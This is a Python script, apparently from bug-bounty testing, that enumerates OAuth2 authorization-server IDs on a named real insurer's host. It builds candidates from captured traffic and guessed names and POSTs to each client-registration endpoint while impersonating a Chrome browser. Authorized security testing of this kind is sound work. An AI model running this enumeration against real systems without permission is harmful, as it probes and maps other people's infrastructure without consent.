#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
import json,re,subprocess
# Candidate IDs are derived from application IDs already observed on the target, plus product-documented example IDs.
apps=subprocess.check_output([
 'toadcli','sql',"SELECT DISTINCT extract(url, '/applications/([^/?]+)') AS app FROM http_exchanges WHERE url ILIKE '%/authentication/applications/%/access%' AND app != '' ORDER BY app"
],text=True).splitlines()[1:]
urls=subprocess.check_output([
 'toadcli','sql',"SELECT DISTINCT extract(url, '/authorization-servers/([^/?]+)') AS asid FROM http_exchanges WHERE url ILIKE '%/authorization-servers/%' AND asid != '' ORDER BY asid"
],text=True).splitlines()[1:]
extra='main-as local-iam-as myAS as as1 as2 main default-as iam-as airlock-iam airlock-iam-as auth-server authorization-server oauth-server oauth2-server oidc-server loginapp loginapp-as easylogin-as portal-as sas-as sas-va-as sas_va_as va-as va_as baloise-as baloise_de baloise-de-as bvs portal_bvs portal_ocs portal_ext portal_zeus ocs ocs_bvs insurehub zeus'.split()
vals=set()
for v in apps+urls+extra:
 v=v.strip()
 if not v or '%' in v or '$' in v or v in {'.well-known','bugbounty-dwbzn-nonexistent','security-test-dwbzn-nonexistent','zz-bugbounty-dwbzn'}: continue
 if re.fullmatch(r'[A-Za-z0-9._~-]{1,100}',v): vals.add(v)
# add simple dash/underscore/case variants for target-derived names
for v in list(vals):
 vals.add(v.replace('_','-')); vals.add(v.replace('-','_'))
headers={'X-Bug-Bounty':'dwbzn','Content-Type':'application/json','Accept':'application/json, application/vnd.api+json'}
s=requests.Session(impersonate='chrome')
base='https://va.baloise.de/auth/rest/public/tech-client-registration/oauth2/{}/register'
out=[]
for asid in sorted(vals):
 try:
  r=s.post(base.format(asid),headers=headers,json={},timeout=10,toadex_capture=False)
  try:j=r.json()
  except:j=None
  row={'id':asid,'status':r.status_code,'len':len(r.content),'body':r.text[:300]}
 except Exception as e: row={'id':asid,'error':repr(e)}
 out.append(row)
 print(json.dumps(row,ensure_ascii=False),flush=True)
open('work/scratch/va-asid-enum2.json','w').write(json.dumps(out,indent=2))